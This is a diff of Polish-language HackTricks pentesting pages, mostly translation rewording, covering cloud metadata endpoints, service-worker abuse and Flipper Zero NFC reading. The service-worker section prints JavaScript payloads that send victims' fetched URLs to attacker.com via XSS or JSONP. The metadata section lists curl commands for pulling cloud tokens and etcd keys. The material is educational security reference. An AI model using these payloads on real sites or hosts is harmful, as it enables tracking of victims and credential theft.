||||
```bash
|
||||
|
@ -326,7 +318,7 @@ done
|
|||
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Nie ma tutaj rzeczy takich jak role AWS ani konto usługi GCP, więc nie spodziewaj się znalezienia danych uwierzytelniających metadanych
|
||||
Nie ma tu rzeczy takich jak role AWS ani konto usługi GCP, więc nie spodziewaj się znalezienia danych uwierzytelniających metadanych
|
||||
{% endhint %}
|
||||
|
||||
Dokumentacja dostępna pod adresem [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||||
|
@ -341,14 +333,6 @@ http://169.254.169.254/metadata/v1/region
|
|||
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
|
||||
curl http://169.254.169.254/metadata/v1.json | jq
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby móc je szybciej naprawić. Intruder śledzi powierzchnię ataku, przeprowadza proaktywne skanowania zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Azure <a href="#cea8" id="cea8"></a>
|
||||
|
||||
### Azure VM
|
||||
|
@ -356,11 +340,7 @@ Znajdź najważniejsze podatności, aby móc je szybciej naprawić. Intruder śl
|
|||
[**Dokumentacja** tutaj](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
|
||||
|
||||
* **Musisz** zawierać nagłówek `Metadata: true`
|
||||
* Nie powinien zawierać nagłówka `X-Forwarded-For`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Bash" %}
|
||||
{% code overflow="wrap" %}
|
||||
* **Nie** może zawierać nagłówka `X-Forwarded-For`
|
||||
```bash
|
||||
HEADER="Metadata:true"
|
||||
URL="http://169.254.169.254/metadata"
|
||||
|
@ -402,7 +382,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
|||
```
|
||||
### Usługa Azure App
|
||||
|
||||
Z **env** możesz uzyskać wartości `IDENTITY_HEADER` _i_ `IDENTITY_ENDPOINT`. Możesz ich użyć do uzyskania tokenu do rozmowy z serwerem metadanych.
|
||||
Z **env** możesz uzyskać wartości `IDENTITY_HEADER` _i_ `IDENTITY_ENDPOINT`. Możesz ich użyć do uzyskania tokenu do komunikacji z serwerem metadanych.
|
||||
|
||||
Większość czasu chcesz uzyskać token dla jednego z tych zasobów:
|
||||
|
||||
|
@ -481,7 +461,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
|
|||
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Zauważ, że w IBM domyślnie metadane są wyłączone, więc istnieje możliwość, że nie będziesz mógł uzyskać do nich dostępu nawet jeśli znajdujesz się wewnątrz maszyny wirtualnej w chmurze IBM.
|
||||
Zauważ, że w IBM domyślnie metadane są wyłączone, więc istnieje możliwość, że nie będziesz mógł uzyskać do nich dostępu, nawet jeśli znajdujesz się wewnątrz wirtualnej maszyny w chmurze IBM.
|
||||
{% endhint %}
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -510,7 +490,7 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Dokumentacja dla różnych platform dotyczących usług metadanych jest przedstawiona poniżej, z zaznaczeniem metod dostępu do informacji konfiguracyjnych i czasu wykonania instancji. Każda platforma oferuje unikalne punkty końcowe do dostępu do swoich usług metadanych.
|
||||
Dokumentacja dla różnych usług metadanych platform jest opisana poniżej, podkreślając metody, za pomocą których można uzyskać dostęp do informacji konfiguracyjnych i czasu wykonania instancji. Każda platforma oferuje unikalne punkty końcowe do dostępu do swoich usług metadanych.
|
||||
|
||||
## Packetcloud
|
||||
|
||||
|
@ -547,14 +527,14 @@ Alibaba oferuje punkty końcowe do uzyskiwania metadanych, w tym identyfikatory
|
|||
|
||||
## Kubernetes ETCD
|
||||
|
||||
Kubernetes ETCD może przechowywać klucze API, wewnętrzne adresy IP i porty. Dostęp jest demonstrowany poprzez:
|
||||
Kubernetes ETCD może przechowywać klucze API, wewnętrzne adresy IP i porty. Dostęp jest pokazany poprzez:
|
||||
|
||||
* `curl -L http://127.0.0.1:2379/version`
|
||||
* `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
|
||||
|
||||
## Docker
|
||||
|
||||
Metadane Dockera można uzyskać lokalnie, przykłady uzyskiwania informacji o kontenerach i obrazach:
|
||||
Metadane Dockera można uzyskać lokalnie, przykłady są podane dla pobierania informacji o kontenerach i obrazach:
|
||||
|
||||
* Prosty przykład uzyskania metadanych kontenerów i obrazów za pomocą gniazda Dockera:
|
||||
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||
|
@ -567,23 +547,3 @@ Metadane Dockera można uzyskać lokalnie, przykłady uzyskiwania informacji o k
|
|||
Metadane Ranchera można uzyskać za pomocą:
|
||||
|
||||
* `curl http://rancher-metadata/<version>/<path>`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby móc je szybciej naprawić. Intruder śledzi powierzchnię ataku, przeprowadza proaktywne skanowania zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,55 +1,47 @@
|
|||
# Nadużywanie pracowników serwisowych
|
||||
# Nadużywanie pracowników usługowych
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby móc je szybko naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
**Pracownik serwisowy** to skrypt uruchamiany przez przeglądarkę w tle, niezależnie od jakiejkolwiek strony internetowej, umożliwiający funkcje, które nie wymagają strony internetowej ani interakcji użytkownika, zwiększając tym samym możliwości **przetwarzania w trybie offline i w tle**. Szczegółowe informacje na temat pracowników serwisowych można znaleźć [tutaj](https://developers.google.com/web/fundamentals/primers/service-workers). Wykorzystując pracowników serwisowych w podatnej domenie internetowej, atakujący mogą przejąć kontrolę nad interakcjami ofiary ze wszystkimi stronami w tej domenie.
|
||||
**Pracownik usługowy** to skrypt uruchamiany przez przeglądarkę w tle, niezależnie od jakiejkolwiek strony internetowej, umożliwiający funkcje, które nie wymagają strony internetowej ani interakcji użytkownika, zwiększając tym samym możliwości **przetwarzania offline i w tle**. Szczegółowe informacje na temat pracowników usługowych można znaleźć [tutaj](https://developers.google.com/web/fundamentals/primers/service-workers). Wykorzystując pracowników usługowych w podatnej domenie internetowej, atakujący mogą przejąć kontrolę nad interakcjami ofiary ze wszystkimi stronami w tej domenie.
|
||||
|
||||
|
||||
### Sprawdzanie istniejących pracowników serwisowych
|
||||
### Sprawdzanie istniejących pracowników usługowych
|
||||
|
||||
Istniejące pracowniki serwisowe można sprawdzić w sekcji **Pracownicy serwisowi** w zakładce **Aplikacja** w **Narzędziach dla programistów**. Inną metodą jest odwiedzenie [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) dla bardziej szczegółowego widoku.
|
||||
Istniejące pracowniki usługowe można sprawdzić w sekcji **Pracownicy usługowi** w zakładce **Aplikacja** w **Narzędziach deweloperskich**. Inną metodą jest odwiedzenie [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) dla bardziej szczegółowego widoku.
|
||||
|
||||
### Powiadomienia push
|
||||
|
||||
**Uprawnienia do powiadomień push** bezpośrednio wpływają na zdolność **pracownika serwisowego** do komunikacji z serwerem bez bezpośredniej interakcji użytkownika. Jeśli uprawnienia są odmówione, ogranicza to potencjał pracownika serwisowego do stanowienia ciągłego zagrożenia. Z kolei udzielenie uprawnień zwiększa ryzyko bezpieczeństwa, umożliwiając odbieranie i wykonywanie potencjalnych ataków.
|
||||
**Uprawnienia do powiadomień push** bezpośrednio wpływają na zdolność **pracownika usługowego** do komunikacji z serwerem bez bezpośredniej interakcji użytkownika. Jeśli uprawnienia są odmówione, ogranicza to potencjał pracownika usługowego do stanowienia ciągłego zagrożenia. W przeciwnym razie udzielenie uprawnień zwiększa ryzyko bezpieczeństwa, umożliwiając odbieranie i wykonywanie potencjalnych exploitów.
|
||||
|
||||
## Atak polegający na tworzeniu pracownika serwisowego
|
||||
## Atak tworzenia pracownika usługowego
|
||||
|
||||
Aby wykorzystać tę podatność, musisz znaleźć:
|
||||
|
||||
* Sposób na **przesyłanie dowolnych plików JS** na serwer i **XSS do ładowania pracownika serwisowego** przesłanego pliku JS
|
||||
* **Podatne żądanie JSONP**, w którym można **manipulować wynikiem (za pomocą dowolnego kodu JS)** oraz **XSS**, aby **załadować JSONP z ładunkiem**, który **załaduje złośliwego pracownika serwisowego**.
|
||||
* Sposób na **przesłanie dowolnych plików JS** na serwer i **XSS do załadowania pracownika usługowego** przesłanego pliku JS
|
||||
* **Podatne żądanie JSONP**, w którym można **manipulować wynikiem (za pomocą dowolnego kodu JS)** oraz **XSS**, aby **załadować JSONP z ładunkiem**, który **załaduje złośliwego pracownika usługowego**.
|
||||
|
||||
W poniższym przykładzie przedstawiam kod do **zarejestrowania nowego pracownika serwisowego**, który będzie nasłuchiwał zdarzenia `fetch` i będzie **wysyłał na serwer atakującego każdy pobrany adres URL** (to jest kod, który musisz **przesłać** na **serwer** lub załadować za pomocą **podatnej odpowiedzi JSONP**):
|
||||
W poniższym przykładzie przedstawię kod do **zarejestrowania nowego pracownika usługowego**, który będzie nasłuchiwał zdarzenia `fetch` i będzie **wysyłał na serwer atakującego każdy pobrany URL** (to jest kod, który musiałbyś **przesłać** na **serwer** lub załadować za pomocą **podatnej odpowiedzi JSONP**):
|
||||
```javascript
|
||||
self.addEventListener('fetch', function(e) {
|
||||
e.respondWith(caches.match(e.request).then(function(response) {
|
||||
fetch('https://attacker.com/fetch_url/' + e.request.url)
|
||||
});
|
||||
```
|
||||
A oto kod, który **zarejestruje pracownika** (kod, który powinieneś móc wykonać, wykorzystując **XSS**). W tym przypadku zostanie wysłane żądanie **GET** do serwera **atakującego**, **informujące** o tym, czy **rejestracja** pracownika usługi zakończyła się sukcesem czy nie:
|
||||
A to jest kod, który **zarejestruje pracownika** (kod, który powinieneś być w stanie wykonać, wykorzystując **XSS**). W tym przypadku zostanie wysłane żądanie **GET** do serwera **atakującego**, **informujące**, czy **rejestracja** pracownika usługi zakończyła się sukcesem, czy nie:
|
||||
```javascript
|
||||
<script>
|
||||
window.addEventListener('load', function() {
|
||||
|
@ -67,19 +59,19 @@ xhttp2.send();
|
|||
});
|
||||
</script>
|
||||
```
|
||||
W przypadku wykorzystania podatnego punktu końcowego JSONP powinieneś umieścić wartość wewnątrz `var sw`. Na przykład:
|
||||
W przypadku wykorzystania podatnego punktu końcowego JSONP należy umieścić wartość wewnątrz `var sw`. Na przykład:
|
||||
```javascript
|
||||
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
|
||||
```
|
||||
Istnieje **C2** dedykowany do **wykorzystywania pracowników usługowych** o nazwie [**Shadow Workers**](https://shadow-workers.github.io), który będzie bardzo przydatny do wykorzystania tych podatności.
|
||||
Istnieje **C2** dedykowane do **eksploatacji pracowników usługowych** o nazwie [**Shadow Workers**](https://shadow-workers.github.io), które będą bardzo przydatne do nadużywania tych podatności.
|
||||
|
||||
Dyrektywa **24-godzinnej pamięci podręcznej** ogranicza czas życia złośliwego lub skompromitowanego **pracownika usługowego (SW)** do maksymalnie 24 godzin po naprawie podatności XSS, zakładając status klienta online. Aby zminimalizować podatność, operatorzy witryn mogą zmniejszyć czas życia skryptu SW (TTL). Deweloperzy są również zaleceni do utworzenia [**przełącznika wyłączającego pracownika usługowego**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) dla szybkiego dezaktywowania.
|
||||
Dyrektywa **pamięci podręcznej 24-godzinna** ogranicza żywotność złośliwego lub skompromitowanego **pracownika usługowego (SW)** do maksymalnie 24 godzin po naprawie podatności XSS, zakładając status klienta online. Aby zminimalizować podatność, operatorzy witryn mogą obniżyć czas życia skryptu SW (TTL). Deweloperom zaleca się również utworzenie [**przełącznika zabijania pracownika usługowego**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) dla szybkiej dezaktywacji.
|
||||
|
||||
## Wykorzystanie `importScripts` w SW za pomocą DOM Clobbering
|
||||
## Nadużywanie `importScripts` w SW za pomocą DOM Clobbering
|
||||
|
||||
Funkcja **`importScripts`** wywołana z pracownika usługowego może **importować skrypt z innej domeny**. Jeśli ta funkcja jest wywoływana za pomocą **parametru, który atakujący mógłby** zmodyfikować, będzie mógł **importować skrypt JS z jego domeny** i uzyskać XSS.
|
||||
Funkcja **`importScripts`** wywołana z pracownika usługowego może **importować skrypt z innej domeny**. Jeśli ta funkcja jest wywoływana z **parametrem, który atakujący mógłby** zmodyfikować, mógłby **importować skrypt JS z jego domeny** i uzyskać XSS.
|
||||
|
||||
**To nawet omija ochrony CSP.**
|
||||
**Nawet omija to zabezpieczenia CSP.**
|
||||
|
||||
**Przykładowy podatny kod:**
|
||||
|
||||
|
@ -97,7 +89,7 @@ let host = searchParams.get('host');
|
|||
self.importScripts(host + "/sw_extra.js");
|
||||
//host can be controllable by an attacker
|
||||
```
|
||||
### Z wykorzystaniem DOM Clobbering
|
||||
### Za pomocą DOM Clobbering
|
||||
|
||||
Aby uzyskać więcej informacji na temat tego, czym jest DOM Clobbering, sprawdź:
|
||||
|
||||
|
@ -105,26 +97,19 @@ Aby uzyskać więcej informacji na temat tego, czym jest DOM Clobbering, sprawd
|
|||
[dom-clobbering.md](dom-clobbering.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Jeśli URL/domena, z której SW korzysta do wywołania **`importScripts`**, znajduje się **wewnątrz elementu HTML**, można go **zmodyfikować za pomocą DOM Clobbering**, aby SW **załadował skrypt z własnej domeny**.
|
||||
Jeśli adres URL/domena, z której SW korzysta do wywołania **`importScripts`**, znajduje się **w elemencie HTML**, można go **zmodyfikować za pomocą DOM Clobbering**, aby sprawić, że SW **załaduje skrypt z własnej domeny**.
|
||||
|
||||
Przykład tego można znaleźć w linku referencyjnym.
|
||||
Aby zobaczyć przykład, sprawdź link referencyjny.
|
||||
|
||||
## Odwołania
|
||||
## Referencje
|
||||
|
||||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajduj luki, które mają największe znaczenie, abyś mógł je szybciej naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
@ -12,14 +12,6 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby móc je szybko naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Wprowadzenie <a href="#9wrzi" id="9wrzi"></a>
|
||||
|
||||
Aby uzyskać informacje na temat RFID i NFC, sprawdź następującą stronę:
|
||||
|
@ -31,10 +23,10 @@ Aby uzyskać informacje na temat RFID i NFC, sprawdź następującą stronę:
|
|||
## Obsługiwane karty NFC <a href="#9wrzi" id="9wrzi"></a>
|
||||
|
||||
{% hint style="danger" %}
|
||||
Oprócz kart NFC Flipper Zero obsługuje **inne rodzaje kart o wysokiej częstotliwości**, takie jak kilka kart **Mifare** Classic i Ultralight oraz **NTAG**.
|
||||
Oprócz kart NFC Flipper Zero obsługuje **inne typy kart o wysokiej częstotliwości**, takie jak kilka kart **Mifare** Classic i Ultralight oraz **NTAG**.
|
||||
{% endhint %}
|
||||
|
||||
Nowe rodzaje kart NFC zostaną dodane do listy obsługiwanych kart. Flipper Zero obsługuje następujące **rodzaje kart NFC typu A** (ISO 14443A):
|
||||
Nowe typy kart NFC zostaną dodane do listy obsługiwanych kart. Flipper Zero obsługuje następujące **typy kart NFC typu A** (ISO 14443A):
|
||||
|
||||
* **Karty bankowe (EMV)** — tylko odczytaj UID, SAK i ATQA bez zapisywania.
|
||||
* **Nieznane karty** — odczytaj (UID, SAK, ATQA) i emuluj UID.
|
||||
|
@ -45,70 +37,63 @@ Dla **kart NFC typu B, typu F i typu V**, Flipper Zero jest w stanie odczytać U
|
|||
|
||||
#### Karta bankowa (EMV) <a href="#kzmrp" id="kzmrp"></a>
|
||||
|
||||
Flipper Zero może tylko odczytać UID, SAK, ATQA i zapisane dane na kartach bankowych **bez zapisywania**.
|
||||
Flipper Zero może jedynie odczytać UID, SAK, ATQA i dane przechowywane na kartach bankowych **bez zapisywania**.
|
||||
|
||||
Ekran odczytu karty bankowejDla kart bankowych Flipper Zero może tylko odczytywać dane **bez zapisywania i emulowania**.
|
||||
Ekran odczytu kart bankowychDla kart bankowych, Flipper Zero może jedynie odczytać dane **bez zapisywania i emulowania**.
|
||||
|
||||
<figure><img src="https://cdn.flipperzero.one/Monosnap_Miro_2022-08-17_12-26-31.png?auto=format&ixlib=react-9.1.1&h=916&w=2662" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Nieznane karty <a href="#37eo8" id="37eo8"></a>
|
||||
|
||||
Kiedy Flipper Zero jest **niezdolny do określenia typu karty NFC**, można odczytać i zapisać tylko **UID, SAK i ATQA**.
|
||||
Kiedy Flipper Zero jest **niezdolny do określenia typu karty NFC**, wtedy tylko **UID, SAK i ATQA** mogą być **odczytane i zapisane**.
|
||||
|
||||
Ekran odczytu nieznanej kartyDla nieznanych kart NFC Flipper Zero może tylko emulować UID.
|
||||
Ekran odczytu nieznanej karty NFCDla nieznanych kart NFC, Flipper Zero może emulować jedynie UID.
|
||||
|
||||
<figure><img src="https://cdn.flipperzero.one/Monosnap_Miro_2022-08-17_12-27-53.png?auto=format&ixlib=react-9.1.1&h=932&w=2634" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Karty NFC typu B, F i V <a href="#wyg51" id="wyg51"></a>
|
||||
### Typy kart NFC B, F i V <a href="#wyg51" id="wyg51"></a>
|
||||
|
||||
Dla **kart NFC typu B, F i V**, Flipper Zero może tylko **odczytać i wyświetlić UID** bez zapisywania go.
|
||||
Dla **kart NFC typu B, F i V**, Flipper Zero może jedynie **odczytać i wyświetlić UID** bez zapisywania go.
|
||||
|
||||
<figure><img src="https://archbee.imgix.net/3StCFqarJkJQZV-7N79yY/zBU55Fyj50TFO4U7S-OXH_screenshot-2022-08-12-at-182540.png?auto=format&ixlib=react-9.1.1&h=1080&w=2704" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Działania
|
||||
|
||||
Aby uzyskać wprowadzenie do NFC [**przeczytaj tę stronę**](../../../radio-hacking/pentesting-rfid.md#high-frequency-rfid-tags-13.56-mhz).
|
||||
Dla wprowadzenia do NFC [**przeczytaj tę stronę**](../../../radio-hacking/pentesting-rfid.md#high-frequency-rfid-tags-13.56-mhz).
|
||||
|
||||
### Odczytaj
|
||||
### Odczyt
|
||||
|
||||
Flipper Zero może **odczytywać karty NFC**, jednak **nie rozumie wszystkich protokołów**, które opierają się na ISO 14443. Jednak ponieważ **UID jest atrybutem niskiego poziomu**, możesz znaleźć się w sytuacji, gdy **UID jest już odczytane, ale protokół transferu danych na wysokim poziomie jest nadal nieznany**. Możesz odczytywać, emulować i ręcznie wprowadzać UID za pomocą Flippera dla prymitywnych czytników, które używają UID do autoryzacji.
|
||||
Flipper Zero może **odczytywać karty NFC**, jednakże **nie rozumie wszystkich protokołów** opartych na ISO 14443. Jednakże, ponieważ **UID to atrybut na niskim poziomie**, możesz znaleźć się w sytuacji, gdy **UID jest już odczytane, ale protokół transferu danych na wysokim poziomie jest nadal nieznany**. Możesz odczytywać, emulować i ręcznie wprowadzać UID za pomocą Flippera dla czytników prymitywnych, które używają UID do autoryzacji.
|
||||
|
||||
#### Odczytanie UID vs Odczytanie danych wewnątrz <a href="#reading-the-uid-vs-reading-the-data-inside" id="reading-the-uid-vs-reading-the-data-inside"></a>
|
||||
#### Odczytanie UID VS Odczytanie Danych Wewnątrz <a href="#reading-the-uid-vs-reading-the-data-inside" id="reading-the-uid-vs-reading-the-data-inside"></a>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
W Flipperze odczytywanie tagów 13,56 MHz można podzielić na dwie części:
|
||||
W Flipperze, odczyt tagów 13,56 MHz można podzielić na dwie części:
|
||||
|
||||
* **Odczyt na niskim poziomie** — odczytuje tylko UID, SAK i ATQA. Flipper próbuje zgadnąć protokół na wysokim poziomie na podstawie tych danych odczytanych z karty. Nie można być w 100% pewnym, ponieważ jest to tylko założenie oparte na pewnych czynnikach.
|
||||
* **Odczyt na wysokim poziomie** — odczytuje dane z pamięci karty za pomocą określonego protokołu na wysokim poziomie. Może to być odczytanie danych na Mifare Ultralight, odczytanie sektorów z Mifare Classic lub odczytanie atrybutów karty z PayPass/Apple Pay.
|
||||
